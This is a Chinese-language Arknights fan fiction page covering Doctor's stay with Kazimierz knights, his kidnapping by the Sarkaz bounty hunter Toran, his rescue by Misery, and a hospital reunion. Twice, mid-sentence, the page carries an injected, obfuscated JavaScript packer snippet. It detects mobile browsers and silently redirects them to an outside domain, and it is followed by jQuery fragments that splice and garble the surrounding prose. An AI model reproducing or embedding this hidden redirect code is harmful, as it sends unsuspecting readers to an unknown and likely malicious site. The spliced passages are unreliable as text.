当他们俩早早回去时,Mantra都疑惑了一秒,然后看向提着大包小包的乐呵呵的萨卡兹,叹息一声,任由他俩去了。 他们来到大骑士领的时间不算早,卡西米尔骑士特别锦标赛的初期选拔赛事已经过了,他们第一次现场观摩的就是强度越来较高的八强赛。赛事当天,薇薇安娜带他们入座包间,既可以拥有良好的视野观赏赛事,又能保证不受别人打扰的私密性。 “接下来登场的是——临光家的小女儿,拥有出色工匠技巧的骑士玛莉娅·临光,同样是临光,却选择了和姐姐耀骑士截然不同的道路,让我们看看这次我们的小发明家会带给我们什么样的惊喜吧!” 薇薇安娜捧起茶杯,眉间染上忧虑。 “姐姐在竞技场上去世,妹妹居然还要继续参赛?”博士有些不可思议。 “您不了解我们这里骑士家族的规定也很正常,每一个家族都需要有一个长骑,才不会被剥夺贵族身份。” 镜头转向场中的玛莉娅,她有着和姐姐同出一辙的金色外表,只是少了锐气,多了些阴郁的神色。她穿戴的装甲与众不同,身为工匠师,她的战斗技巧不是最出色的,但胜在花样繁多,出其不意,所以即便排名不高,但仍然拥有不俗的人气。 而她的对手……居然是两个人? 同样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391775|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青蓝色头发的一男一女,与传统骑士的厚重装甲不同,他们轻装简便,身后背着青金色长弓。 “……是我狭隘了,我以为骑士都是靠重甲冲锋的,而且二打一不会不公平吗?” 没等薇薇安娜解释,现场解说就已经道出了由来:“啊……真是不巧啊,我们可爱的玛莉娅即将对付的敌人,正是前无胄盟的两位成员,罗伊和莫妮克,这对金牌搭档在无胄盟解散后就登记成了青金骑士,一路上成绩斐然,不知道工匠骑士玛莉娅会如何应对呢?” 茶杯碰撞桌面发出刺耳的砰的一声,薇薇安娜鲜少做出这样有违她优雅形象的行为,“……他们是故意的,耀骑士玛嘉烈的死就是无胄盟下的黑手。” 但观众就爱看这样的戏码,无论是现场观众的激烈呼声,还是在线直播的人数暴涨都证明了这一点,面对沾染姐姐鲜血的敌人,妹妹会做出如何反应? 但玛莉娅早已不是在家人庇护下的那个天真易怒的小女孩了,她握紧手里的长枪,面对罗伊的挑衅和莫妮克的蔑视,她没有说多余的话,摁下盾牌后的机关,盾牌边缘延展开像天马的翅膀,然后她把盾牌倾倒过来,直接站上盾牌,盾牌托举着她飞向天空,金色光芒又一次在场馆上空闪耀。 最后不出意外是实力更强劲的青金胜出,但玛莉娅的新作品仍然掀起了一波讨论。薇薇安娜带着博士他们进了后台,小天马刚脱下那一身的装备,见到薇薇安娜眼前一亮,和那个在场上眼神坚定的骑士截然不同,露出几分小女孩的稚气来。 “做得不错,玛莉娅。” 她们互相拥抱打气了几句,薇薇安娜就把博士引荐给了这位故人的妹妹。 “姐姐死后,我们实在是孤木难支,只能团结起来努力完成她未竟的事业。阿米娅曾经是我们的合作伙伴,她帮助了许多困难的感染者,无论是骑士还是普通人。” “我看到了,现在的卡西米尔药店里都还有她主导研究的矿石病药物。” 玛莉娅点头,“是的,她改变了许多感染者的处境,孤身一人就让董事会松口对感染者的严苛政策,虽然也因为她背后有卡兹戴尔……” “知道阿米娅和魔王关系的人并不多。”Misery说。 “但他们的关心做不得假,”薇薇安娜若有所思,“他们都很爱阿米娅,不然也不会那几年突然和卡西米尔开通那几条贸易线路。” “那你们找我们来,不担心被卡兹戴尔找麻烦吗?”名义上还是通缉犯的萨卡兹问道。 “在卡西米尔就得按卡西米尔的规矩来,荣誉暗杀那套早该扫进垃圾堆里,连无胄盟都解散了——我们的戏剧团里还有个前白金大位呢,”薇薇安娜捂唇轻笑,“改天给你介绍认识认识。” “你们既然是卡兹戴尔来的,我也正好想向你们打听两个人。”玛莉娅犹豫了一会儿,还是开口问道,“……闪灵和夜莺,她们还好吗?” “耀骑士的确是死在了竞技场上。”薇薇安娜独眼的忧郁目光投向烛火,她的手拢住烛火,遮盖了往外溢出的光芒,“他们不是死于骑士竞技,而是商业联合会和无胄盟的暗算,诱发他们急性矿石病发作。她的同伴,那位白色的恶魔本来想救她的,但玛嘉烈不知道为何制止了她,也不知道那对黑白恶魔用了什么方法,让她和血骑士没有像普通感染者那样化作源石粉尘。 “她知道自己难逃一死,也彻底实践了自己的理念,即便只是飞蛾扑火,无胄盟也因此被监正会取缔。” “但她留下了你们这些火种。” “烛火又怎能和太阳相比呢?我帮助成立红松剧团,开展巡演,就是要把她的故事告诉给人们,让她的光芒能照耀到大骑士领之外,照亮整个卡西米尔。”薇薇安娜的面容坚毅,像玫瑰花底下潜藏的刺。 博士只见过闪灵,在他因为刚出石棺身体虚弱时,名为赦罪师的组织负责了他的身体检查,闪灵是他们当中最像正常人的一个,尽管面色憔悴,但仍然尽职尽责,不做多余的事,她的身边没有一个叫夜莺的存在。 “……她们被抓回卡兹戴尔的路上出了意外,夜莺死了,闪灵仍然作为赦罪师留在卡兹戴尔。”这又是一件落在他们这些人肩头,会被Mantra耻笑的事情,Misery语气低落。 “她们三个过去很亲密,会发生这样的事情,谁也想不到吧。”玛莉娅没有气馁,反而宽慰起Misery,“那是卡兹戴尔做的事情,和你没有关系,我也没有责怪你的意思,谢谢你的告知。” 他们继续留在大骑士领观看了后续的比赛,自血骑士和耀骑士之后,越来越多的感染者骑士投身竞技比赛,但能够打入决赛的寥寥无几。那对青金组合也止步于四强,明眼人能够看出来他们并没有使出全力,好像只是来刷刷脸走个过场。 博士也真的在戏剧团见到了那位前白金大位,她正无所事事找了个角落偷懒,见到博士来了也只是略微一抬眼。 “无胄盟真的解散了吗?” 这个奇怪的兜帽人不足为惧,但是离他不远的白发萨卡兹恐怕是个难缠的对手,白金坐起身,琢磨逃跑路线,这些年她学得最快最好的就是怎么逃命,不然就不止右手被废这么简单了。 “这取决于你怎么定义无胄盟,如果你说的是那个杀手组织,那它确实解散了。” “如果是变成公司了呢?” “不知道,反正我被开除了。” 博士掐在白金抬腿要溜之前开口道:“抱歉失礼了,忘记了自我介绍,我是你们接下来巡演的随行医师,你可以叫我博士。” 11. 10 破旧的搪瓷杯里盛着清水,博士接过轻声道谢,低头看向水面上倒映出的白发男性,浅色的头发沾了油污塌塌的,白净的脸蛋上擦伤的印子混着棕色的药膏。 一身劲装的黑发萨卡兹在他身侧的木头上坐下,蓝色的眼睛不时扫过旁边这位缄默的学者,他嘴角噙着笑容却没有抵达眼底,“抱歉,这是个意外。” “……”博士连场面话都懒得跟对面说,他当然看得出那些人是冲着谁来的,也看得出以这位萨卡兹的身手,捞出一个他完全没有问题。虽然他也没指望一个绑匪能有多好的态度,顾虑到东家的面子,没有让他真的伤着哪里就不错了。 “我没想到……嗯,你会这么脆弱,像一只初生的羽兽,风一吹就从枝头栽倒,再被野兽叼了去。” 萨卡兹在他被救出来的时候可不是这种态度。 他已经许久没有感受到如此真实的疼痛,他一直以来被保护得很好,即便在双王派人追捕的路上,由于魔王的密令和Misery的保护,他没有受到任何身体上的伤害。这几拳落在他的头上和胳膊上,让他再一次深刻体会到了人类与泰拉人的力量差距。 疼痛令他匍匐在地,也让他避免了相当一部分的后续攻击,防护服破损,他就像被剪除了羽翼的羽兽,暴露在空地上,遭受着暴风雨的洗礼。泰拉柔软的泥土簇拥在他的脸侧,湿润的有着雨后味道的泥土味道让他有一瞬的分神。 托兰就是这个时候才不紧不慢把他从泥巴里捞起来,他单手捧起学者那张脏兮兮的脆弱的脸,啧了一声,“大城市里来的老爷就是娇贵,你们要是打坏了,摘了你们所有人的脑袋都不够赔的。” 粗糙的面包入口像木屑一样,干燥难咽,但是为了维持这具身体的机能,他只能拼命混着丝丝腥甜的味道囫囵吞下去,然后被噎得喘息几声,食道不情不愿接受过于干涩的异物。 他眼角的余光往一旁打量去,经过这几天的相处,他得知蓝眼睛黑皮肤的萨卡兹托兰是这群赏金猎人的首领,也知道了在卡西米尔乡下并非只有苏瓦乌基这样受到征战骑士庇护而平静祥和的地块,不是每一个小镇都交得起那笔给贵族老爷们的治安费。 “这里不是卡兹戴尔,老实点,兴许还能少吃点苦头。” 起初,他们还会用绳索束缚博士的行动,但他们很快发现以博士的体能,肩不能提手不能扛,跑步都跑不出二里地,遂解除了他身上的限制。也许是知道自己跑不掉,博士没有在他们眼皮子底下开溜过,反而态度良好、十分配合。 他们以为他是卡兹戴尔的哪个名不见经传的小贵族,胆子小,惜命。只有托兰攥着这群不稳定份子的缰绳,这个人知道不能剥下他那身防护服,只从他身上收走了匕首和终端,而且确保他不受到过重的伤害,虽然他被贫民们当做骑士贵族豢养的扈从出气时,托兰晚了几秒才制止。 简陋的屋棚,佝偻的矿石病患者,吃不饱饭的饥民偷偷打量他,眼底透露着发红的渴望,却又不敢跟之前一样贸然靠近。他跟在托兰身后,将这些惨状收入眼底。卡西米尔是一匹不断往前飞驰的骏马,它将这些肮脏的、丑陋的东西当做累赘甩在身后,任由他们远离城市,自生自灭。 赏金猎人成了这里唯一的秩序来源,他们顶替了骑士的缺席,建立了残酷的社会秩序。他们惧怕憎恨托兰,却又仰仗每次赏金猎人来时为他们提供的微薄物资和治安的保障。 “在这里的大部分人都是亡命之徒,骑士竞技被淘汰的感染者,交不起钱被剥夺身份赶出移动城市的穷人,流离失所的天灾难民……以及那场闻名全国的大隔断事件,幸存者几乎全在这儿。” “……” 也许是因为博士的脸色不太好看,托兰轻笑,“怎么,跟那群骑士老爷待久了,以为卡西米尔到处都该光鲜亮丽,都该像戏剧里演的那样正义终将战胜邪恶?” “不,我以为这是一个收容所,只是没想到你们会这么严厉地对待他们。” 天灾摧毁了可耕种的田地,只有证明自己的价值,才能在赏金猎人那里讨口饭吃,无论是用源石原矿还是用身上值钱的东西来换。博士已经见到不知道第几个因为偷东西和争抢物资被赏金猎人摁在地上抽的人了。因为大部分人都是感染者,赏金猎人不会立即杀死他们,只会让他们深刻记住痛苦。他们身上血淋淋的伤口纵横交错,让博士无端想起源石撕裂大地的模样。 “即便他们刚刚揍了你,想把你身上所有值钱的东西抢走,你也还在同情他们?你真的不是没有光圈和光翼的拉特兰人吗?” “我不能谴责只是想活下去的人,包括你们的行事方式,我不赞同,但我也承认有存在的必要。”博士的防护罩碎了大半,为了不阻碍视线,他卸掉了,露出那张无辜的苍白的受了伤的脸颊。 “虚伪。”托兰不屑道,他见多了这种自以为是的天真的贵族,然后被现实吃得渣也不剩,博士也不例外,不然现在也不会落在他们手里了。 博士从赏金猎人习以为常的辱骂式问候里得知了托兰的种族,他削去了双角,藏起了尾巴,仅从外表很难发现他是个萨卡兹,但他似乎并不避讳这个身份,也没有把抖漏出来他种族的人怎么样。或许等回去以后他可以问问Misery为什么有的萨卡兹会削去双角。 只是现在……那个好心眼的萨卡兹应该急疯了吧,和Stormeye那次小打小闹的绑架相比,这次是遇见真正专业的绑匪。虽然领袖是个萨卡兹,但他们不属于卡兹戴尔,也与卡西米尔当局的关系微妙。 “你们背后的人想拿我和卡兹戴尔做交易?” 托兰瞥了他一眼,“著名源石专家?哼……希望你在魔王那足够值钱,我调查过你,你曾经为巴别塔效力,也是新式源石武器的理论奠基人,对外却称自己只是个矿石病研究学者。” 博士知道即使他否认也会被当作辩解,索性改口道:“是啊,我也能为你们提供武器上的改进指导,还有矿石病的治疗方案,甚至预测天灾路线,只要你告诉我你会把我交给谁。” 他想了想又补充了一句:“我想活下去,而且活得舒服点,这是我能拿来换的东西。” 黑色匕首腰斩终端,暴露出内侧的金属线缆和元件,电弧跳跃几下沉寂了。简洁,高效,充满挑衅。这就是Misery赶到时见到的唯一剩余的东西。 萨卡兹身边笼罩着肉眼可见的低气压,就连Mantra都感到有些鳞片发凉,但她还是摁住了恨不得冲出去折跃方圆几十公里找人的萨卡兹,她也同样担心博士,但是对方的作案手法专业利索,显然是预谋已久,而且没有留下任何勒索信息,不为求财。 【不是卡兹戴尔的人就是商业联合会的人,】Mantra分析道,【无胄盟不在了,但在城市之外还有其他能够替代他们作用的群体——赏金猎人。我可以联系到他们,还有附近的征战骑士团都能提供线索。】 没有纸笔,博士用树枝在小溪边松软的泥土上书写密密麻麻复杂的公式和看不懂的符号。托兰拔出腰侧的剑,轻轻一挥,蓝色的光斩断了立在路边的岩石,整个切面平滑完整,石头崩落在地面上滚远。 “你设计的源石刻印纹路有点东西,我从没感受过我的源石技艺有如此大的增幅,以至于接近我一个老朋友的刀光。”他把剑横过来,抚摸上面新刻的纹路,“只可惜这样好的剑,他没资格用了。” 剑刃毫无预兆抵上博士露出的苍白颈侧,剑身嗡鸣。一把武器对准了它自己的设计师,十足恶劣的玩笑。博士却头也没抬,他手中的树枝仍然画个不停。如果他的计算没错,他们正朝着莱塔尼亚的方向行进,偶尔更改下路线拐弯去补给点和避开天灾范围。莱塔尼亚如今是卡兹戴尔忠实的盟友,这也是为什么他们之前离开乌萨斯以后不去更近的莱塔尼亚,而是通过卡西米尔绕更远的路。 “虽然你的身体太弱小,但脑袋足够好使,要不是上头催得急,我还真想把你留下来,成为我们赏金猎人的一员,总比又关回卡兹戴尔好。”托兰抽回长剑,没什么温度地开玩笑道,“世间万物在你手里好像都只是数据的组合推演,难怪卡兹戴尔会把你关在高塔上,你的研究能左右一场——不,是整个战争。” “那你也应该知道我为什么会离开卡兹戴尔。” “不愿意成为战争机器的帮凶?这倒是像你的作风。我们这些人在你眼里看来,也是一组组数据吗?” 树枝停下运动,博士抬头看他一眼,那眼神空洞又带有慑人的冰凉,“不,活着的东西是不受控制的。” 博士如约为他们配制了控制感染的药物,只有托兰没有服用,他也同样拒绝了博士的源石浓度测试,至于其他的赏金猎人,他们连睡眠质量都好了很多,他们的夜晚不再受到源石结晶蔓延带来的疼痛侵扰。连带着大部分人对博士的态度都好了很多,他的饮食不再粗制滥造,有肉有汤有蔬菜,有些胆子大的还会围着火堆休整时给他倒上一杯麦芽酒。博士永远温和、耐心、包容,尤其是对待痛苦的感染者,即便他现在被看守着,作为失去自由的囚犯坐在他们当中。 甚至还有年轻的赏金猎人偷偷找过托兰,表达希望不要博士去卡兹戴尔,或者退而求其次,让他在剩下的路途里好过一点。前者被托兰斩钉截铁否了,还被嘲讽一句天真,后者他既没有同意也没有制止。 “你不是萨卡兹,我也没兴趣知道你到底是什么种族的人,但仅凭这一点,卡兹戴尔对你就永远不会放心。”托兰喝着酒,和博士闲聊起来,他本来就话多,在这种放松的时候他更加喋喋不休。博士想起安静体贴的Misery,同样是萨卡兹,怎么会差别这么大呢? “我知道。” 托兰打了个酒嗝,“你还有机会,如果商业联合会愿意保你……卡西米尔能扛住乌萨斯和莱塔尼亚活下来,再多扛一个卡兹戴尔也问题不大。” “那和在卡兹戴尔有什么分别,商业联合会因为利益接纳我,那也会因为利益出卖我。他们已经这样做了。”博士意有所指看向托兰和他的赏金猎人小队。 “卡兹戴尔纵有万般不好,他们至少不会干涉我的研究方向。” “然后偷偷拿你的研究去制造脏弹和新式武器,摧毁维多利亚的有生力量,让更多人流离失所,就像乌萨斯和莱塔尼亚对卡西米尔做的那样。” 托兰拨了拨燃烧的木柴,烟尘伴随着的飘起的火星很快因为失去温度湮没在夜色里。 博士有几分讶异道:“没想到你居然是个反战的和平主义者,明明身为赏金猎人的头子,混乱才是你的权力和财富来源。” “我们不是卡兹戴尔那种雇佣兵,更像是掌握了生存技巧的拓荒者,城市那种逼仄的地方,容不下一群自由的灵魂。卡西米尔越混乱,我带队的难度也更高——谁想整天和一群锈锤打交道呢?” 托兰对着天空也不知道在幻想和谁碰杯,然后举起酒瓶一饮而尽。夜色下,他蓝色的眼睛依然清亮无比。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391776|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “……你是个好领袖。” “哈!那我也得说一句,你是个好医生。你跟着红松剧团救了很多人,我都看着呢。” 博士指出:“但你没有接受我的治疗。” “有时候,疼痛才能让一个人更清醒,更能看清脚底下的路。”他既像喝醉了,又像从未如此清醒过,“你能治好他们的现在,那他们的未来又怎么办?活下来为了更快更方便地送死?” 博士低头看向自己磨损过头的靴子,靴头已经染上半永久的泥巴色,“……你说得对。” “哼!我就说嘛,像你这样的聪明人,一定能欣赏我的智慧。”他开始像个普通的醉鬼那样胡言乱语起来,但他拿剑的那只手依然稳稳抓住酒瓶,“不像我那些笨蛋手下,一个个还要我操心……嗝,还有我那个不争气的朋友,我真想把他引以为傲的金毛剃光看看他那副光鲜的外表下面的心到底是什么色的……” 因为几次与信使预报不同,但是又更加准确的天灾预警,避免了减员和次生灾害,他们对博士的信赖指数也越来越高。托兰对他的态度虽然还算不上太友好,但是话语里的刺少了许多,尽管博士还是偶尔能察觉到萨卡兹冰冷打量他的视线。 博士拾起木炭,在石头上画出他们接下来的行进路线,他们恰好运气不佳,被巨型天灾裹挟着只能通过一条山谷进行躲避,因为特殊的地理条件,只有这一处的源石粉尘浓度能够降低到安全范围,开辟出一条小小的生命线。 托兰看了博士一眼,从他手里抽走木炭,在他们所在的位置画了一个叉,又在终点处同样画上叉,连接了一条不同的、同样能避开天灾但是绕远了几天路程的道路。 “太依赖你的能力,对我以后带队可不利啊。” “那提前几天把我送走不更好?” “到时候送走的恐怕不是你,而是我们了。”托兰把木炭扔到一边,“有另一队凭空冒出的赏金猎人接近了我们,跟踪我们有一阵了,你有什么头绪吗,聪明人?” “我的一言一行都在你的监视下,如你所见,我对他们的身份也一无所知。” 托兰再次看向岩石上粗略画出的地图,伸手指向博士之前画的路径,“你跟我一起走这条路,其他人,绕远路,在莱塔尼亚边境汇合。” 其余赏金猎人有些不同的意见,但都被托兰压下去了。博士没有任何异议,他被重新捆上绳子,放在驮兽车的后座上,托兰坐在车头一鞭子挥下去,驮兽载着他俩往山谷去。 “你这么有自信独自对付敌人?”博士发问。 “你这么相信他们一定是来救你的?老板发布的任务没有指定必须谁来做。任何赏金猎人,只要他想挑战我的地位就可以插一脚。要是能从我手里劫走任务目标,那我差不多也该退休了。”托兰放松缰绳,让驮兽自己选择通过山谷的小道。确实如博士所说,在天灾的夹击下,这条山谷居然还能保有旺盛的植被,源石的脚步被阻挡在山谷之外。 但是安静……太安静了。 安静到只能听到驮兽的脚步声,还有博士因为绳子太紧不舒服而不断调整姿势的沙沙声。 托兰的手搭在剑柄上。 一道破空声打破了宁静,黑色的箭直冲托兰心口而来。他抬手仅用剑鞘就轻松挡住了,他低头看了一眼箭的眼熟形制——来自无胄盟。 托兰皱起眉头。 第二箭,第三箭紧接着飞来,和第一支不同,这两支带有十足的杀伤力,即便是托兰也不能冒着损坏武器的风险硬接,他拔剑出鞘,半空中劈断了箭身。 很快,密密麻麻的箭如瀑布般降临在他们的头顶,托兰不得不回护博士身边,他揪着博士的后领,离开了被扎成刺猬的驮兽车。可怜的驮兽被扎成筛子,痛苦嘶吼着倒下。 “无胄盟……怎么会?” 托兰拖着博士有些狼狈地左躲右闪,他最烦这些远程弓箭手了,阴险狡猾,让他的剑术无处施展。 博士被他晃得头晕,手又被绳索束着,手腕都被磨得红肿破皮。托兰把这个累赘塞到路边草丛里,有石头挡住的死角,他专心对付起箭雨来,蓝色的刀光扫清一片,他逐渐锁定了方向,朝弓箭手所在的位置飞奔而去。 在托兰看不见的身后,偶尔被劈飞的箭冲博士而去,却被一层浅绿色的半透明保护壳阻隔在外,但保护壳的颜色逐渐变弱,每承受一次冲击,它的光芒就弱下几分。 博士咬上混乱时他紧紧攥在手里的半支弓箭,侧过头挣扎着用锋利的箭头一下一下割着绳子。托兰这种赏金猎人会顾及一下任务目标的死活,但也仅此而已了,他们更看重自己的生命。如果他真的打不过这群袭击的人,那他自然会抛弃博士,拿他当吸引敌人的靶子,给自己留逃跑的后路。甚至更有可能的是,托兰从一开始就没有想过带着他一起全身而退,而是拿他当诱饵,保全其他队友的同时又能摆脱追杀的人。 快点,再快一点…… 他得赶在托兰回来以前,他还不能死在这里,他还没有完成那个约定…… 有一双纤长漂亮的手包住了他发颤的手,黑色的匕首斩断绳索的束缚,它的主人将博士整个人拥入怀中。博士重新嗅到了令他熟悉且安心的气息。像海浪涌上沙滩,像夕阳吻上山峦。 “……我来晚了,博士。” 肾上腺素宣布告罄,一旦确认安全以后,博士脆弱的身体不争气地直接晕了过去,黑甜的梦境包裹着他的意识坠入深渊。 12. 11 消毒水的味道,仪器滴滴的响声。 博士睁开了眼睛,他这一觉睡得很沉,眼皮耷拉着,破损的防护服带来的损伤还是追上了他,泰拉的泥土、水流,甚至连空气都在拒绝他。 他第一时间感受到的却是手上的温暖,他转过头,看到的是Misery贴着他被包扎过的掌心睡觉的模样,萨卡兹眼下的乌青格外刺眼,他在睡梦中也不太安稳,皱着眉头,抱着博士的手掌贴在自己最柔软的脸颊上。 博士只是轻轻动下手指,Misery就立刻苏醒了过来,他睁大了眼睛,眉毛却微微下垂,既兴奋又担忧地望着博士,尾巴尖左右甩。 “你还好吗,博士,还有没有哪里不舒服的地方,我马上去叫医生过来——” 博士摇了摇头,他的身体高烧刚刚退去,软绵绵的没有力气,但他的嘴唇没有特别干燥,床头的柜子上放着纸杯和棉签,一定是他在昏迷的时候Misery一直耐心细致地给他喂水和润湿嘴唇。 “我睡了多久?” “……四天。” 博士微微笑了下,他现在真的是连扯起自己嘴角的力气都快没有了,“比我刚出石棺没多久生病那次好多了。” “对不起,博士,这次都是因为我……”Misery咬紧下唇,他眼里的愧疚像摔坏的玻璃一样破碎不堪,整个人看上去都要碎成一片片的躲起来了,“如果我再早一点,不,从一开始我就不应该……” 博士冲他招了招手,语气依然虚弱:“过来点,Misery。” 萨卡兹不明所以但还是听话靠近,如果博士因此斥责甚至罚他不要再待在博士身边,尽管会给他带来伤心和痛苦,但他也都能接受,这毕竟是他应得的。只是他还一时想不出来,还能有谁可以站在博士身边,像自己这样倾尽所有保护他,Misery暗自决定,在找到那个能够完全顶替他的人之前,他会继续厚着脸皮待在博士身边。 博士缓缓伸出了手,这对于他来说还是费力了点,Misery自觉靠得更近些。但和萨卡兹所想不同的是,博士手掌轻轻贴在他的脑后,把他搂进怀里,让萨卡兹的耳朵贴上他强有力跳动的脉搏。 “听见了吗,Misery?我还活着。你做得很好,即使我们之间没有任何交流,但你仍然能够按照我的计划在山谷里接应我。你不仅救下了我的命,而且挽救了许多被卷进这件事的人。冒充无胄盟这个点子亏你们想得出……” 博士的手指钻进柔软的发丝,轻轻往后梳理。Misery粗重的呼吸声扑在他的脖子上,失而复得的萨卡兹不敢乱动,他舍不得分哪怕一点点重量在博士的肩膀上。但他触碰到的皮肤柔软,带有一股烧后的温热,以及难以忽视的在他敏锐的听觉下格外清晰响亮的脉搏,敲击在鼓膜上,一声一声,稳定传递着生命的节奏。 “……我听到了,博士。”Misery说话染上了点鼻音。 博士等着自己稍稍恢复了一点力气,才把Misery从他肩膀上推起来,他捧过萨卡兹的脸颊,十分郑重地用指尖揩去萨卡兹眼角没来得及藏起来的眼泪。Misery垂下眼睛,这双感情丰沛、氤氲着雾气的眸子里堆满了沮丧。他曾经送给这位萨卡兹的礼物不是没有缘由的。 “等我伤好了,我要吃萨米主题乐园餐、伊比利亚火腿饭、尚蜀火锅、汐斯塔风味餐……”博士跟倒豆子似的点菜,全然不顾自己的饭量和Misery的意见,说着说着他又开始纠结起来,“……唔,不过这个上次吃过了不太好吃,还是换一个吧……我有太多想吃的了,唉,我要能有萨卡兹一半,不,三分之一的饭量和身体素质就好了。” 也许是博士的乐观感染了萨卡兹,他终于破涕为笑,“好,等你好了,我都做给你吃,不会的我就去学。” 博士捏了捏他的手,“也不能光累你啊,我看上次在大骑士领路边看到的店就很不错……偶尔也要尝试下新东西,尝下新的味道,也都是很珍贵的体验。” Misery捧起博士的手,贴在脸边轻轻吻了下掌心,像羽毛拂过,勾得博士心痒痒的,“好,都听你的。” 博士依然笑眯眯的,老实萨卡兹还没有发现他眼里冒出的狡黠,“还有一件事。” “你说。” “既然我现在动不了了,那就只能让你代劳。” “什么事,博士?” “亲我。” “好……”萨卡兹嘴巴答应得比脑袋快,等他反应过来博士说的什么以后,他尾巴都立直了,但好在他这次稍微争气了点,只红了耳朵。 Misery咽了口唾沫,他探出上半边身体,手臂撑在床沿,小心翼翼拨开输液管,避开任何可能会让博士受力的位置。说不紧张那是假的,尤其博士的眼睛还特别精神地盯着他的一举一动,丝毫没有一点被接吻的自觉。 “……博士,你可以闭上眼睛吗?” 虽然还想逗逗这个害羞的萨卡兹,但博士还是怀着某种隐秘的期待依言合拢了双眼。没了那双充满活力的眼睛,他仿佛陷入沉睡的睡美人,处处透出不健康的苍白,本就不多肉的脸更加瘦削,瘦得连骨头都明显凸出,脸颊上还有擦伤过的痕迹,至今没有恢复完全,手背上留置针的位置青了一片。Misery有些慌乱,这勾起了他刚接到博士发现怀里人高烧不退失去意识时的恐慌,好像博士这一睡就永远醒不过来了一样。 但他强行把自己从那股情绪中拉扯出来,博士还活着,而且还能跟他开玩笑,跟他讨要一个亲吻,他还在犹豫什么呢? 他俯下身,贴上博士略微干燥的、透着一点红色的嘴唇。 他们起初都非常克制,只是单纯磨蹭唇瓣,互相安慰,也不知道是谁先伸出了舌头,于是便一发不可收拾起来,唇舌纠缠,密不可分。 Misery只觉得他快在这个火热的吻里燃尽了,他对博士满腔的爱意、患得患失的悲伤、失而复得的欣喜、得偿所愿的满足都融进了这个吻里,炙热的喜悦驱赶走了总是缠绕在他心上的悲伤,让他觉得自己此刻就是全泰拉最幸福的人。 博士的力气太小,完全架不住萨卡兹的热情,他只能尽力敞开口腔,任由Misery滚烫又灵活的舌头来去自如,将他的气息一点点染上博士的每一次呼吸,他被那股熟悉的、令人安心的气息包裹着,像回到了渴盼已久的怀抱,他终于可以放空大脑,露出一点怯懦、依恋的样子来。 博士的呼吸声变得急促,Misery慢下步伐,像引导稚嫩的羽兽学会飞行那样,一点一点梳理人类的呼吸节奏,让他不至于因为一个吻就缺氧过度。博士微薄的体力也很快见了底,无论Misery怎么吮咬唇瓣,搅弄人类柔软的舌头,博士都完全没有任何反抗的力量了,甚至连这个意识都没有,他被亲得晕乎乎的,眼睛无意间半睁开,压在□□上沉重的感觉消失了,意识仿佛漂浮在云端。 因为很少见到博士露出这样一脸迷糊的样子,Misery不由得停下了这个吻,博士那同样脆弱的嘴唇已经被亲得有点肿,但好消息是比之前红润多了,脸颊上的绯红也让他多了几分属于活人的生动。 Misery的眼睛亮晶晶的,让从脑袋空空的状态恢复过来的博士也不好说他什么,毕竟是自己提起的,又是自己默许的,只是以后他绝对需要给接吻的时间定个限时。他生理上就吃亏一大截了,绝对每一次都会以他被亲得七荤八素收尾。但很明显亲吻对于Misery的激励效果最好,瞧他尾巴翘得有多高,也许以后他可以直接亲……等等等等,他一定是脑子还没完全找回来,怎么会想到这么荒谬的解决方法。 看着陷入沉思甚至当机的博士,Misery也耐心陪他等,金色的眼睛深情而眷恋地盯着他。 “你们萨卡兹都这样……嗯,呃,热情持久吗?” “其他人我不知道,我只对你这样,博士。” 博士的脸却变得忧愁起来,让萨卡兹有些惴惴不安,难道是他一反常态太热情吓到博士了?他平常已经足够小心收起萨卡兹充满掠夺性的本能,却还是没想到在忘我的时候失去了他一向引以为傲的自制力。 “说老实话,我不讨厌,但是我的身体耐受可能不够好,我有点晕,不是因为缺氧,而是有种很奇怪、很舒服的感觉……要不我们以后定个时?” “噗嗤。”Misery实在没忍住笑出声,他确实完全没想到原来博士担心的是这个,“不用定时。抱歉,博士,这次是我太兴奋了所以有点过头,我太想你了……平常的话,我会控制好的。” 博士的问题就这样轻松解决,他眉眼舒展开来,疲惫地打个哈欠,眼皮摇摇欲坠,Misery往上掖好被子,轻轻握住博士的手。 “睡吧,博士,我守着你呢。” “嗯……晚安。”博士的声音透出一股迷迷糊糊的傻劲,他还咕囔了几句萨卡兹听不懂的语言。 【新的防护服已经制作好了。】 Mantra的能力十分方便,不会吵到在屋里休息的博士,Misery轻轻合上门,向斐迪亚道了谢。 【他这次受伤不轻,医生说他对几乎所有东西都有不同程度的过敏,只有源石不会,也难怪他会一直穿着防护服。】 “以前凯尔希……博士的一个朋友还在时,她能够改善这种症状。” 【如果可以的话,希望你能再找到她,博士的身体内部勉强维持着脆弱的稳定,以卡西米尔的医疗技术,这已经是他们能做到的极限了。】 Misery摇了摇头,“她死了。” 【噢。】Mantra小小的惊叹一声,【如果我没记错的话,她就是那位凯尔希勋爵,她在泰拉存在的时间超乎我们的想象,也许事情还有转机?】 “如果她还活着,她一定不会对博士坐视不理的。既然卡西米尔的技术不够……那哥伦比亚呢?” Mantra皱眉,【他们医疗技术的确顶尖,但造成的医疗事故和涉及到医疗伦理的案件也同样劣迹斑斑。卡西米尔这里有我,他的所有身体数据都会被封存销毁,医疗人员都是我们的自己人,但如果让哥伦比亚知道博士身体的特别之处……】 “我明白了。”Misery叹了口气。 